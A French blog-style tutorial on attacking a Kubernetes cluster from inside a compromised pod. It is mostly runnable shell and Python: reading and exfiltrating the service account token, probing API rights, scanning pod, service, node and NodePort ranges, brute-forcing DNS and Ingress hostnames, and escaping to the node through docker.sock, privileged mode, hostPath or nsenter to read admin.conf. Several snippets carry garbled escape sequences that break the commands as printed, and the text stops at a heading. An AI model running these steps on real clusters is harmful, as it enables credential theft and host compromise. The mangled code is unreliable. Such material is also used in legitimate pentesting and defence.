<img src="https://cdn.hashnode.com/uploads/covers/690093e131b18d5420f79f7a/354a71eb-72e5-42b5-acbe-154f5682bbd7.png" alt="" style="display:block;margin:0 auto" />

<p>Avant de tenter quoi que ce soit, il faut cartographier l'environnement. On cherche à répondre à trois questions :</p>
<ul>
<li><p><strong>Qui suis-je dans le cluster ?</strong> Quel Service Account, quel namespace, quels droits sur l'API ?</p>
</li>
<li><p><strong>Où suis-je sur le réseau ?</strong> Quelle IP, quelle plage, quels services sont visibles ?</p>
</li>
<li><p><strong>Que puis-je atteindre ?</strong> L'API server, d'autres pods, des services internes avec des credentials ?</p>
</li>
</ul>
<h3>Service Account : pivot direct vers l'API Kubernetes</h3>
<p>Chaque pod se voit automatiquement monter un Service Account dans <code>/var/run/secrets/kubernetes.io/serviceaccount/</code>. Ce token JWT permet de s'authentifier auprès de l'API server (<strong>KubeAPI</strong>). C'est le premier vecteur à évaluer : si le SA a des droits étendus, c'est une compromission directe du cluster sans passer par le réseau.</p>
<p>La première chose à faire en arrivant dans un pod est donc de collecter ces informations :</p>
<pre><code class="language-bash">$ hostname
victim-pod

$ cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
default

$ ls /var/run/secrets/kubernetes.io/serviceaccount/
ca.crt  namespace  token

$ cat /var/run/secrets/kubernetes.io/serviceaccount/token
eyJhbGciOiJSUzI1NiIsImtpZCI6IkRyUzU0MG1qdmJpeW85cUNhUzFxQ3k3REV4bTZFd2liYzhJc2JO
QjRXVUEifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlc...
</code></pre>
<p>On peut voir ici qu'un jeton Service Account est bien disponible dans le fichier <code>/var/run/secrets/kubernetes.io/serviceaccount/token</code>.</p>
<p>Pour mieux comprendre l'environnement du cluster, les variables d'environnement sont particulièrement intéressantes à récupérer depuis l'intérieur d'un pod. En effet, Kubernetes injecte automatiquement : <code>&lt;NOM_SERVICE&gt;_SERVICE_HOST</code> et <code>&lt;NOM_SERVICE&gt;_SERVICE_PORT</code> pour chaque Service du même namespace qui existait au moment du démarrage du pod.</p>
<p>Cela inclut tous les Services du namespace, pas uniquement ceux liés à l'application : un service Redis, une base de données ou un outil interne déployé dans le même namespace apparaîtront aussi. En revanche, un Service créé après le démarrage du pod n'y figurera pas : pour ceux-là, seul le DNS fonctionne.</p>
<pre><code class="language-bash">$ env | grep -E "_SERVICE_HOST|_SERVICE_PORT" | sort

API_BACKEND_SERVICE_HOST=10.43.223.56
API_BACKEND_SERVICE_PORT=8080
KUBERNETES_SERVICE_HOST=10.43.0.1
KUBERNETES_SERVICE_PORT=443
KUBERNETES_SERVICE_PORT_HTTPS=443
POSTGRES_SERVICE_HOST=10.43.92.21
POSTGRES_SERVICE_PORT=5432
REDIS_SERVICE_HOST=10.43.31.122
REDIS_SERVICE_PORT=6379
</code></pre>
<p>Trois services sont visibles depuis ce pod : un backend applicatif sur 8080, une base PostgreSQL sur 5432, et un Redis sur 6379. Ces IPs sont des ClusterIP stables, directement joignables depuis n'importe quel pod du cluster. On a déjà une cartographie partielle des services sans faire le moindre scan réseau.</p>
<p><strong>Tester les droits du Service Account</strong></p>
<p>Une fois le token récupéré depuis un pod, on teste ses droits sur l'API Kubernetes. Deux cas selon l'infrastructure :</p>
<ul>
<li><p><strong>API server derrière un Load Balancer cloud</strong> (EKS, GKE, AKS) : l'API n'est pas joignable depuis l'extérieur, mais elle l'est toujours depuis l'intérieur du cluster à <code>kubernetes.default.svc</code>. On teste alors directement depuis le pod avec le token monté.</p>
</li>
<li><p><strong>API server accessible depuis l'extérieur</strong> (on-premise, cloud mal configuré) : on exfiltre le token et on teste depuis la machine attaquante avec <code>kubectl auth can-i --list</code></p>
</li>
</ul>
<p>Depuis l'intérieur du pod, <code>/dev/tcp</code> ne suffit pas pour faire des appels HTTPS. On commence par vérifier ce qui est disponible dans le conteneur, et on utilise le premier outil présent :</p>
<pre><code class="language-bash"># Vérifier ce qui est disponible
$ which python3 python node wget curl 2&gt;/dev/null
</code></pre>
<p>Si <strong>python3</strong> est présent (containers Python, containers applicatifs souvent) :</p>
<pre><code class="language-bash">$ python3 -c "
import ssl, urllib.request
token = open('/var/run/secrets/kubernetes.io/serviceaccount/token').read()
ca    = '/var/run/secrets/kubernetes.io/serviceaccount/ca.crt'
ctx   = ssl.create_default_context(cafile=ca)
req   = urllib.request.Request(
    'https://kubernetes.default.svc/api/v1/namespaces',
    headers={'Authorization': 'Bearer ' + token})
try:
    print(urllib.request.urlopen(req, context=ctx).read().decode()[:200])
except Exception as e:
    print(e)
"
</code></pre>
<p>Si <strong>wget</strong> est présent :</p>
<pre><code class="language-bash">\( TOKEN=\)(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
\( wget -qO- --header="Authorization: Bearer \)TOKEN" \
    --ca-certificate=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt \
    https://kubernetes.default.svc/api/v1/namespaces
</code></pre>
<p>Si rien n'est disponible dans le pod, on exfiltre le token et on teste depuis la machine attaquante avec <code>kubectl</code> :</p>
<pre><code class="language-bash"># Sur la machine attaquante (si l'API est joignable depuis l'extérieur)
$ kubectl auth can-i --list \
    --token="eyJhbGciOiJSUzI1NiIsImtpZCI6Ikhy..." \
    --server=https://&lt;api-server&gt;:6443 \
    --insecure-skip-tls-verify

Resources                                       Non-Resource URLs                      Resource Names   Verbs
selfsubjectreviews.authentication.k8s.io        []                                     []               [create]
selfsubjectaccessreviews.authorization.k8s.io   []                                     []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                     []               [create]
                                                [/api/*]                               []               [get]
                                                [/apis/*]                              []               [get]
                                                [/version]                             []               [get]
                                                ...
</code></pre>
<p>Ici le Service Account <code>default</code> n'a quasiment aucun droit utile : lecture des endpoints de découverte API, rien de plus. C'est le comportement attendu sur un cluster correctement configuré. En revanche, sur un cluster mal configuré, on peut parfois avoir :</p>
<pre><code class="language-bash">Resources    Non-Resource URLs   Resource Names   Verbs
*.*          []                  []               [*] 
</code></pre>
<p>Cette ligne <code>*.*</code> avec verbs <code>[*]</code> signifie accès total à toutes les ressources du cluster : c'est une compromission directe. On peut alors lire les secrets, créer des pods, exec dans des conteneurs, modifier les RBAC. L'exploitation du Service Account dans ce cas est couverte dans le prochain article. Si le SA est restreint, on passe à la reconnaissance réseau.</p>
<h3>Reconnaissance réseau : quand le Service Account ne suffit pas</h3>
<img src="https://cdn.hashnode.com/uploads/covers/690093e131b18d5420f79f7a/f933a26e-e50f-434c-930a-4b0fda87d6b6.png" alt="" style="display:block;margin:0 auto" />

<p>Si le Service Account du pod n'a pas de droits utiles sur l'API Kubernetes, l'alternative est de pivoter sur d'autres services internes du cluster : bases de données, outils de monitoring, services applicatifs exposés sur le réseau des pods ou des services.</p>
<p>Un cluster Kubernetes fonctionne avec deux plages d'adresses distinctes : le <strong>pod CIDR</strong> (une IP par pod, routée via le CNI) et le <strong>service CIDR</strong> (adresses virtuelles ClusterIP). Les deux sont accessibles depuis l'intérieur du cluster, sauf NetworkPolicy en place.</p>
<p><strong>Identifier sa position réseau</strong></p>
<p>Dans un conteneur minimal, <code>ip</code> et <code>ifconfig</code> ne sont généralement pas disponibles. Tout est lisible dans <code>/proc/net</code> sans aucun outil.</p>
<pre><code class="language-bash"># IP du pod via /proc/net/fib_trie (fonctionne sans iproute2)
\( awk '/32 host/ { print f } { f=\)2 }' /proc/net/fib_trie | sort -u | grep -v '^127\.\|^0\.'
10.0.0.238

# Table de routage brute
$ cat /proc/net/route
Iface  Destination  Gateway   Flags  Mask
eth0   00000000     A300000A  0003   00000000   ← default via 10.0.0.163
eth0   A300000A     00000000  0005   FFFFFFFF   ← 10.0.0.163/32 (gateway CNI)
</code></pre>
<p>Les adresses sont en hexadécimal little-endian : <code>A300000A</code> = <code>0x0A 0x00 0x00 0xA3</code> = <code>10.0.0.163</code>. Cela correspond a l'adresse de la Gateway CILIUM (dans notre cas).</p>
<p>Le token JWT du Service Account contient aussi des informations utiles pour la suite. Son payload est décodable en bash pur avec <code>base64</code> et révèle le nom du nœud sur lequel le pod s'exécute :</p>
<pre><code class="language-bash">\( TOKEN=\)(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
\( PAYLOAD=\)(echo $TOKEN | cut -d. -f2)
\( MOD=\)((${#PAYLOAD} % 4))
\( [ \)MOD -eq 2 ] &amp;&amp; PAYLOAD="${PAYLOAD}=="
\( [ \)MOD -eq 3 ] &amp;&amp; PAYLOAD="${PAYLOAD}="
\( echo \)PAYLOAD | base64 -d 2&gt;/dev/null
{"aud":["https://kubernetes.default.svc.cluster.local","k3s"],
 "kubernetes.io":{"namespace":"default",
   "node":{"name":"k3s-worker-01","uid":"c226c662-..."},
   "pod":{"name":"victim-pod","uid":"1053a053-..."},
   "serviceaccount":{"name":"default","uid":"bc71d50b-..."}},
 "sub":"system:serviceaccount:default:default"}
</code></pre>
<p>Le champ <code>node.name</code> (<code>k3s-worker-01</code>) identifie le nœud physique. Ce nom peut ensuite être résolu par DNS pour obtenir l'IP du nœud, utile pour la reconnaissance du plan de contrôle.</p>
<p>À partir de ces informations, on peut reconstituer deux plages cibles pour la suite :</p>
<ul>
<li><p><strong>Réseau des pods</strong> : la plage s'infère depuis l'IP du pod et la table de routage (<code>/proc/net/route</code>). Ici <code>10.0.0.0/24</code>.</p>
</li>
<li><p><strong>Réseau des services</strong> : les ClusterIP n'apparaissent pas dans les routes. On récupère la plage via <code>KUBERNETES_SERVICE_HOST</code> (<code>10.43.0.1</code> → plage <code>10.43.0.0/16</code>).</p>
</li>
</ul>
<p>La différence est importante pour les scans : scanner la plage des pods cible des processus en cours d'exécution dans des conteneurs, scanner la plage des services cible des endpoints applicatifs stables exposés via kube-proxy.</p>
<p><strong>Ecoute passive</strong></p>
<p>Avant de lancer des scans actifs, l'écoute du trafic sur l'interface du pod est une première étape silencieuse. Elle permet d'identifier des services qui communiquent directement avec le pod, de détecter des credentials ou tokens en transit sur du HTTP non chiffré, et surtout de repérer des IPs qui n'apparaissent pas dans les variables d'environnement. Ces IPs deviennent ensuite des cibles prioritaires pour les scans approfondis.</p>
<pre><code class="language-bash"># Connexions actives établies depuis ou vers le pod
$ ss -tnp
$ netstat -tnp

# Capturer tout le trafic sur l'interface principale
$ tcpdump -i eth0 -n

# Filtrer le trafic HTTP en clair : credentials, tokens, API calls
$ tcpdump -i eth0 -A -s 0 'tcp port 80 or tcp port 8080'

# Capturer pour analyse offline
$ tcpdump -i eth0 -w /tmp/cap.pcap
</code></pre>
<p>L'écoute passive est particulièrement intéressante dans les pods qui intègrent un sidecar Envoy ou Istio : le trafic entre services peut transiter en clair au niveau du proxy local, même si le transport est chiffré entre nœuds. Des secrets ou tokens peuvent ainsi apparaître en clair dans les trames capturées.</p>
<p><strong>Découverte des services (ClusterIP)</strong></p>
<p>Les informations sur le service CIDR sont récupérables depuis les variables d'environnement (<code>KUBERNETES_SERVICE_HOST=10.43.0.1</code> indique une plage <code>10.43.0.0/16</code>).</p>
<p>On scanne cette plage avec <code>/dev/tcp</code> puis on résout chaque IP trouvée via <code>getent hosts</code> . Ainsi, CoreDNS retourne le FQDN <code>service.namespace.svc.cluster.local</code> pour toute ClusterIP, ce qui donne le nom du service et son namespace en une seule requête.</p>
<pre><code class="language-bash"># Scan d'un /24 du service CIDR avec reverse DNS
\( for c in \)(seq 1 254); do
    timeout 0.3 bash -c "echo &gt; /dev/tcp/10.43.0.$c/443" 2&gt;/dev/null \
        &amp;&amp; getent hosts 10.43.0.$c
    timeout 0.3 bash -c "echo &gt; /dev/tcp/10.43.0.$c/53" 2&gt;/dev/null \
        &amp;&amp; getent hosts 10.43.0.$c
done

10.43.0.1       kubernetes.default.svc.cluster.local
10.43.0.10      kube-dns.kube-system.svc.cluster.local
</code></pre>
<p>Le scan séquentiel d'un <code>/24</code> prend environ 90 secondes. Pour couvrir le <code>/16</code> complet, on parallélise avec <code>xargs</code> (présent dans tout conteneur avec coreutils) :</p>
<pre><code class="language-bash"># Scan parallèle du /16 complet : 20 /24 en simultané
$ seq 0 255 | xargs -P20 -I{} sh -c '
  for c in $(seq 1 254); do
    for port in 53 80 443 5432 6379 8080 9090; do
      timeout 0.3 bash -c "echo &gt; /dev/tcp/10.43.{}.\({c}/\){port}" 2&gt;/dev/null \
          &amp;&amp; echo "10.43.{}.\({c}:\){port}"
    done
  done
' | while read hit; do
  IP=\((echo \)hit | cut -d: -f1)
  getent hosts $IP 2&gt;/dev/null
done | sort -u

10.43.0.1       kubernetes.default.svc.cluster.local
10.43.0.10      kube-dns.kube-system.svc.cluster.local
10.43.12.108    metrics-server.kube-system.svc.cluster.local
10.43.31.122    redis.default.svc.cluster.local
10.43.51.247    hubble-ui.kube-system.svc.cluster.local
10.43.65.9      hubble-relay.kube-system.svc.cluster.local
10.43.92.21     postgres.default.svc.cluster.local
10.43.116.209   hubble-peer.kube-system.svc.cluster.local
10.43.194.228   nginx.monitoring.svc.cluster.local
10.43.223.56    api-backend.default.svc.cluster.local
10.43.253.246   ingress-nginx-controller.ingress-nginx.svc.cluster.local
</code></pre>
<p>En une seule passe, on découvre les namespaces :</p>
<ul>
<li><p><code>kube-system</code></p>
</li>
<li><p><code>monitoring</code></p>
</li>
<li><p><code>ingress-nginx</code></p>
</li>
<li><p><code>default</code></p>
</li>
</ul>
<p>Avec l'ensemble des services actifs. Des services comme <code>hubble-ui</code>, <code>metrics-server</code> ou le contrôleur Ingress n'étaient pas visibles dans les variables d'environnement : ils apparaissent ici pour la première fois.</p>
<p>ℹ️ Par défaut, Kubernetes n'applique aucun isolement réseau entre les namespaces : un pod dans <code>default</code> peut contacter un service dans <code>monitoring</code> ou <code>kube-system</code> directement, sauf NetworkPolicy explicite.</p>
<p>Cette technique ne couvre que les services avec une ClusterIP. Les <strong>services headless</strong> (<code>ClusterIP: None</code>) n'apparaissent pas dans le scan, mais sont résolvables par nom DNS via le brute-force décrit plus bas.</p>
<p><strong>Métriques CoreDNS (port 9153)</strong></p>
<p>Le service <code>kube-dns</code> dans <code>kube-system</code> expose par défaut des métriques Prometheus sur le port <code>9153</code> sans authentification (le plugin <code>prometheus :9153</code> est activé dans la Corefile standard de K3s et kubeadm). Ces métriques indiquent les plugins actifs dans CoreDNS, ce qui révèle la configuration DNS du cluster :</p>
<pre><code class="language-bash">$ exec 3&lt;&gt;/dev/tcp/10.43.0.10/9153
$ echo -e "GET /metrics HTTP/1.0\r\nHost: 10.43.0.10\r\n\r\n" &gt;&amp;3
$ timeout 5 cat &lt;&amp;3 2&gt;/dev/null | grep coredns_plugin_enabled
$ exec 3&gt;&amp;-

coredns_plugin_enabled{name="cache",...}       1
coredns_plugin_enabled{name="forward",...}     1
coredns_plugin_enabled{name="hosts",...}       1
coredns_plugin_enabled{name="kubernetes",...}  1
coredns_plugin_enabled{name="prometheus",...}  1
</code></pre>
<p>La présence du plugin <code>hosts</code> est un indicateur : K3s configure CoreDNS avec un plugin <code>hosts</code> qui mappe les noms des nœuds vers leurs IPs. Cela permet de résoudre les noms de nœuds obtenus depuis le JWT directement en IP :</p>
<pre><code class="language-bash"># Le JWT révèle "node.name=k3s-worker-01"
$ getent hosts k3s-worker-01
10.25.11.201    k3s-worker-01

$ getent hosts k3s-worker-02
10.25.11.202    k3s-worker-02

$ getent hosts k3s-master
10.25.11.200    k3s-master
</code></pre>
<p>On a maintenant les IPs des nœuds. Le brute-force DNS permet ensuite de découvrir quels services tournent sur ces nœuds.</p>
<p><strong>Brute-force DNS par noms de services</strong></p>
<p>Le scan par IP ne couvre que les services avec une ClusterIP (plage <code>10.43.0.0/16</code>). Les <strong>services headless</strong> (<code>ClusterIP: None</code>) n'ont pas d'IP dans cette plage : leur DNS résout directement vers les IPs des pods ou des nœuds, sans intermédiaire virtuel. Le brute-force DNS permet de les découvrir en testant des noms courants contre CoreDNS, qui résout les noms au format <code>&lt;service&gt;.&lt;namespace&gt;.svc.cluster.local</code> :</p>
<pre><code class="language-bash">$ cat /etc/resolv.conf
search default.svc.cluster.local svc.cluster.local cluster.local localdomain
nameserver 10.43.0.10
options ndots:5

# Tester des services courants dans des namespaces courants
$ for svc in grafana prometheus kibana jenkins redis postgres mysql argo-cd vault; do
    for ns in default kube-system monitoring logging ci-cd staging production; do
        timeout 1 bash -c "echo &gt; /dev/tcp/\(svc.\)ns.svc.cluster.local/80" 2&gt;/dev/null \
            &amp;&amp; echo "[+] \(svc.\)ns:80"
    done
done
</code></pre>
<p>Cette approche est moins exhaustive que le scan par IP + reverse DNS : elle ne trouve que les noms devinés. Mais elle ne nécessite que bash et fonctionne même quand le scan d'IP est trop lent (conteneur avec des limites de processus strictes).</p>
<p><strong>Enumération des routes Ingress</strong></p>
<p>Si le scan révèle un contrôleur Ingress (<code>ingress-nginx-controller.ingress-nginx.svc.cluster.local</code> dans notre cas), celui-ci fait du routage par hostname (header <code>Host</code>). Les routes configurées correspondent aux Ingress resources du cluster et pointent vers des services backend dans des namespaces potentiellement différents.</p>
<p>Ces hostnames ne sont pas dans le DNS interne du cluster : ils n'existent que dans la configuration du contrôleur. Ni les enregistrements PTR, ni les métriques Prometheus (désactivées par défaut sur nginx-ingress v1.9+), ni les certificats TLS (certificat fake par défaut) ne permettent de les énumérer de manière fiable sur une installation standard.</p>
<p>La seule technique fiable est le brute-force par header <code>Host</code>. Le contrôleur retourne <code>404</code> pour un hostname inconnu et <code>200</code>, <code>301</code> ou <code>503</code> pour un hostname configuré :</p>
<pre><code class="language-bash">$ INGRESS=10.43.253.246
$ for host in app admin grafana prometheus kibana dashboard api jenkins gitlab vault; do
    for domain in internal.company.com cluster.local company.io; do
        FULL="\({host}.\){domain}"
        exec 3&lt;&gt;/dev/tcp/$INGRESS/80
        echo -e "GET / HTTP/1.1\r\nHost: $FULL\r\nConnection: close\r\n\r\n" &gt;&amp;3
        CODE=$(timeout 1 head -1 &lt;&amp;3 2&gt;/dev/null | cut -d" " -f2)
        exec 3&gt;&amp;-
        [ "\(CODE" != "404" ] &amp;&amp; [ -n "\)CODE" ] &amp;&amp; echo "[+] \(FULL -&gt; HTTP \)CODE"
    done
done

[+] app.internal.company.com -&gt; HTTP 503
[+] admin.internal.company.com -&gt; HTTP 503
[+] grafana.internal.company.com -&gt; HTTP 200
</code></pre>
<p><code>grafana.internal.company.com</code> répond en HTTP 200 : le service est accessible. <code>app</code> et <code>admin</code> retournent un 503 (le backend est indisponible, mais la route Ingress existe). La difficulté est de deviner le domaine : on s'aide du contexte (noms de namespaces, variables d'environnement, nom de l'organisation dans le certificat CA du cluster).</p>
<p><strong>Découverte des pods</strong></p>
<p>Le réseau des pods (<code>10.0.0.0/24</code> avec Cilium dans notre cas) est entièrement routable depuis l'intérieur du cluster, sauf NetworkPolicy en place. Scanner ce réseau complète la découverte des services : on y trouve les pods qui ne sont pas exposés par un Service (jobs, pods de debug, sidecars), ainsi que les ports internes non publiés (métriques applicatives, endpoints de debug, profiling). Contrairement aux ClusterIP, les IPs de pods n'ont pas d'enregistrements PTR DNS exploitables :</p>
<pre><code class="language-bash">$ python3 -c "
import socket
from concurrent.futures import ThreadPoolExecutor

def probe(args):
    ip, port = args
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(0.3)
        r = s.connect_ex((ip, port))
        s.close()
        return f'{ip}:{port}' if r == 0 else None
    except:
        return None

ips  = [f'10.0.0.{i}' for i in range(1, 255)]
ports = [80, 443, 8080, 8443, 9090, 3000, 5000]
with ThreadPoolExecutor(max_workers=100) as ex:
    hits = [r for r in ex.map(probe, [(ip,p) for ip in ips for p in ports]) if r]
for h in hits:
    print(f'[+] {h}')
"

# Si nmap est disponible (image dev/debug)
$ nmap -p 80,443,8080,8443,9090,3000,5000 --open 10.0.0.0/24
</code></pre>
<p><strong>Découverte des nœuds et du plan de contrôle</strong></p>
<p>Le dernier réseau à explorer est celui des nœuds. Leurs IPs sont connues via les techniques précédentes : services headless de DaemonSets CNI, résolution DNS du nom de nœud obtenu depuis le JWT, ou simplement l'adresse du gateway CNI. Sur les nœuds, deux catégories de cibles : les composants du plan de contrôle (API server, Kubelet, etcd) et les <strong>NodePorts</strong> (plage <code>30000-32767</code>), qui exposent des services sur tous les nœuds du cluster indépendamment du réseau des services.</p>
<table>
<thead>
<tr>
<th>Composant</th>
<th>Port</th>
<th>Auth par défaut</th>
<th>Notes</th>
</tr>
</thead>
<tbody><tr>
<td>API server</td>
<td>6443</td>
<td>TLS + RBAC</td>
<td>toujours présent</td>
</tr>
<tr>
<td>etcd</td>
<td>2379</td>
<td>TLS + cert client</td>
<td>absent sur K3s (intégré au processus)</td>
</tr>
<tr>
<td>Kubelet (API)</td>
<td>10250</td>
<td>TLS + auth</td>
<td>présent sur tous les nœuds</td>
</tr>
<tr>
<td>Kubelet (read-only)</td>
<td>10255</td>
<td>Aucune</td>
<td>déprécié, absent par défaut</td>
</tr>
<tr>
<td>kube-proxy metrics</td>
<td>10256</td>
<td>Aucune</td>
<td>absent si CNI eBPF (Cilium, Calico)</td>
</tr>
<tr>
<td>NodePort services</td>
<td>30000-32767</td>
<td>Variable</td>
<td>services exposés sur tous les nœuds</td>
</tr>
</tbody></table>
<pre><code class="language-bash"># Tester les ports du plan de contrôle sur les nœuds connus
$ for node in 10.25.11.200 10.25.11.201 10.25.11.202; do
    for port in 2379 6443 10250 10255 10256; do
        timeout 1 bash -c "echo &gt; /dev/tcp/\(node/\)port" 2&gt;/dev/null \
            &amp;&amp; echo "[+] \(node:\)port ouvert"
    done
done

[+] 10.25.11.200:6443 ouvert
[+] 10.25.11.200:10250 ouvert
[+] 10.25.11.201:10250 ouvert
[+] 10.25.11.202:10250 ouvert
</code></pre>
<p>Sur ce cluster K3s avec Cilium, seuls 6443 et 10250 répondent. Les ports présents varient selon la distribution : K3s intègre etcd (pas de 2379), Cilium remplace kube-proxy (pas de 10256).</p>
<p>Les NodePorts sont intéressants comme vecteur complémentaire : ce sont des services exposés directement sur les nœuds, souvent pour les accès externes (dashboards, APIs internes). Ils sont accessibles depuis n'importe quel pod sur n'importe quel nœud :</p>
<pre><code class="language-bash"># Scan rapide de la plage NodePort sur un nœud
$ seq 30000 32767 | xargs -P20 -I{} bash -c \
    'timeout 0.5 bash -c "echo &gt; /dev/tcp/10.25.11.200/{}" 2&gt;/dev/null &amp;&amp; echo "[+] 10.25.11.200:{}"'
</code></pre>
<p>Le port 10250 du Kubelet est particulièrement intéressant : si l'authentification anonyme est activée (<code>--anonymous-auth=true</code>), on peut lister les pods du nœud et exécuter des commandes dans les conteneurs en cours d'exécution sans credentials. Ce n'est pas le cas par défaut depuis Kubernetes 1.9, mais certains clusters legacy restent vulnérables.</p>
<pre><code class="language-bash"># Kubelet API (10250) : si l'auth anonymous est activée
# Retourne HTTP 401 si auth requise, JSON si anonyme accepté
$ exec 3&lt;&gt;/dev/tcp/10.25.11.201/10250
$ echo -e "GET /pods HTTP/1.0\r\nHost: 10.25.11.201\r\n\r\n" &gt;&amp;3
$ timeout 3 head -1 &lt;&amp;3 2&gt;/dev/null
$ exec 3&gt;&amp;-
# HTTP/1.0 401 Unauthorized   ← auth requise (situation normale)
# HTTP/1.0 200 OK             ← anonyme accepté (vulnérable)
</code></pre>
<p>Pour etcd, sans <code>etcdctl</code> ni certificat client, l'accès direct est rare sur les clusters modernes. Sur des clusters anciens (kubeadm pré-1.13 sans TLS) ou mal configurés, une requête HTTP simple suffit :</p>
<pre><code class="language-bash"># etcd sans TLS : clusters legacy, certains setups de dev
$ exec 3&lt;&gt;/dev/tcp/10.25.11.200/2379
$ echo -e "GET /v2/keys/?recursive=true HTTP/1.0\r\n\r\n" &gt;&amp;3
$ timeout 3 cat &lt;&amp;3 2&gt;/dev/null | head -3
$ exec 3&gt;&amp;-
</code></pre>
<p>L'objectif de toute cette reconnaissance est d'identifier des services vulnérables : une application web exploitable, une base de données sans authentification, un dashboard exposé. Chaque service compromis est un pivot potentiel pour récupérer des credentials, des tokens privilégiés, ou un accès à d'autres namespaces.</p>
<h2>Sortir du conteneur</h2>
<img src="https://cdn.hashnode.com/uploads/covers/690093e131b18d5420f79f7a/42f6b7c9-32f4-4ebd-b50e-519a7f45e57f.png" alt="" style="display:block;margin:0 auto" />

<p>Si aucun service ne donne de prise, ou si on s'est latéralisé sur un autre pod via un service vulnérable, l'étape suivante est de sortir du conteneur pour atterrir sur le nœud et s'élever en privilèges : récupérer des tokens SA plus puissants, des kubeconfigs locaux (<code>/root/.kube/config</code>, <code>/etc/kubernetes/admin.conf</code>), ou accéder directement à etcd si le nœud est le master.</p>
<h3>Identifier le runtime et le niveau de privilège</h3>
<p>Avant de tenter une évasion, il faut déterminer le runtime de conteneur et le niveau de privilège effectif du pod. Les deux se lisent dans <code>/proc</code> sans aucun outil.</p>
<pre><code class="language-bash"># Noyau Linux (version → vulnérable à Dirty Pipe, Dirty COW ?)
$ uname -r
6.1.0-43-cloud-amd64

# Runtime : le chemin des cgroups révèle containerd ou Docker
$ cat /proc/1/cgroup | head -3
0::/                              ← cgroupv2 (containerd/CRI-O)
12:memory:/docker/&lt;id&gt;            ← Docker legacy (cgroupv1)

# K3s spécifique : les mounts overlay révèlent le chemin containerd
$ grep overlay /proc/mounts | head -1
overlay / overlay rw,...,lowerdir=/var/lib/rancher/k3s/agent/containerd/...

# Niveau de privilège : CapEff dans /proc/1/status
$ grep CapEff /proc/1/status
CapEff: 00000000a80425fb   ← limité (pas CAP_SYS_ADMIN)
CapEff: 0000003fffffffff   ← privileged: true (toutes les capabilities)
</code></pre>
<p>Si toutes les capabilities sont activées (<code>0000003fffffffff</code>), le conteneur tourne en mode privilégié et l'évasion vers le nœud est triviale. Sinon, on cherche la présence de <code>CAP_SYS_ADMIN</code>, qui suffit pour s'évader via les cgroups.</p>
<h3>Misconfigurations de déploiement</h3>
<p>Certaines configurations de pod ouvrent une sortie directe vers le nœud sans exploiter de vulnérabilité.</p>
<p><strong>docker.sock monté en volume</strong></p>
<p>Si <code>/var/run/docker.sock</code> est accessible dans le conteneur, on contrôle le démon Docker du nœud. On peut créer un nouveau conteneur privilégié qui monte la racine du système hôte :</p>
<pre><code class="language-bash">$ ls /var/run/docker.sock
/var/run/docker.sock

$ docker run -v /:/host --rm -it alpine chroot /host sh
# id
uid=0(root) gid=0(root)
# cat /etc/kubernetes/admin.conf
</code></pre>
<p><strong>Conteneur privilégié</strong></p>
<p>Un pod démarré avec <code>privileged: true</code> a accès à tous les périphériques du nœud. La vérification se fait via les capabilities du processus init du conteneur :</p>
<pre><code class="language-bash">$ cat /proc/1/status | grep CapEff
CapEff: 0000003fffffffff   ← toutes les capabilities : conteneur privilégié

# Monter le disque du nœud et chroot dedans
$ fdisk -l
$ mkdir /mnt/host &amp;&amp; mount /dev/vda1 /mnt/host
$ chroot /mnt/host bash
# hostname
node-01
</code></pre>
<p><strong>hostPath et hostPID</strong></p>
<p>Un pod avec un montage <code>hostPath: /</code> expose l'intégralité du système de fichiers hôte en lecture/écriture. Avec <code>hostPID: true</code>, on accède aux processus du nœud et on peut entrer dans leurs espaces de noms via <code>nsenter</code> :</p>
<pre><code class="language-bash"># hostPath : accès direct au système de fichiers hôte via le point de montage
$ ls /host-root/etc/kubernetes/
admin.conf  manifests/  pki/

# hostPID + nsenter : entrer dans l'espace de noms du processus init du nœud
$ nsenter -t 1 -m -u -i -n -p -- bash
# hostname
node-01
</code></pre>
<h3>CVE sur le runtime et le noyau</h3>
<p>Indépendamment des misconfigurations, des vulnérabilités dans le runtime de conteneur ou le noyau Linux permettent de sortir d'un conteneur non privilégié. La version du noyau (<code>uname -r</code>) et du runtime (<code>/proc/1/cgroup</code>) collectées lors de l'identification initiale permettent de déterminer rapidement les CVE applicables.</p>
<table>
<thead>
<tr>
<th>CVE</th>
<th>Cible</th>
<th>Condition</th>
<th>Versions affectées</th>
<th>Référence</th>
</tr>
</thead>
<tbody><tr>
<td>CVE-2022-0492</td>
<td>cgroup v1 release_agent</td>
<td>CAP_SYS_ADMIN ou privileged</td>
<td>Noyaux avec cgroupv1</td>
<td><a href="https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/">write-up</a></td>
</tr>
<tr>
<td>CVE-2019-5736</td>
<td>runC</td>
<td><code>exec</code> dans le conteneur</td>
<td>runC &lt; 1.0-rc6</td>
<td><a href="https://github.com/Frichetten/CVE-2019-5736-PoC">PoC</a></td>
</tr>
<tr>
<td>CVE-2022-0847</td>
<td>Noyau (Dirty Pipe)</td>
<td>Aucune (non-privileged)</td>
<td>Noyau 5.8 à 5.16.11</td>
<td><a href="https://dirtypipe.cm4all.com/">write-up</a></td>
</tr>
<tr>
<td>CVE-2016-5195</td>
<td>Noyau (Dirty COW)</td>
<td>Aucune (non-privileged)</td>
<td>Noyau &lt; 4.8.3</td>
<td><a href="https://dirtycow.ninja/">write-up</a></td>
</tr>
<tr>
<td>CVE-2020-15257</td>
<td>containerd-shim</td>
<td>hostNetwork: true</td>
<td>containerd &lt; 1.3.9, &lt; 1.4.3</td>
<td><a href="https://github.com/containerd/containerd/security/advisories/GHSA-36xw-fx78-c5r4">advisory</a></td>
</tr>
</tbody></table>
<p>Les CVE noyau (Dirty Pipe, Dirty COW) sont les plus dangereux : ils ne nécessitent aucune capability particulière et fonctionnent depuis n'importe quel conteneur. La version du noyau est vérifiable immédiatement :</p>
<pre><code class="language-bash">$ uname -r
5.10.0-28-cloud-amd64   ← comparer avec les plages affectées ci-dessus
</code></pre>
<h3>CVE sur les composants Kubernetes (IngressNightmare)</h3>
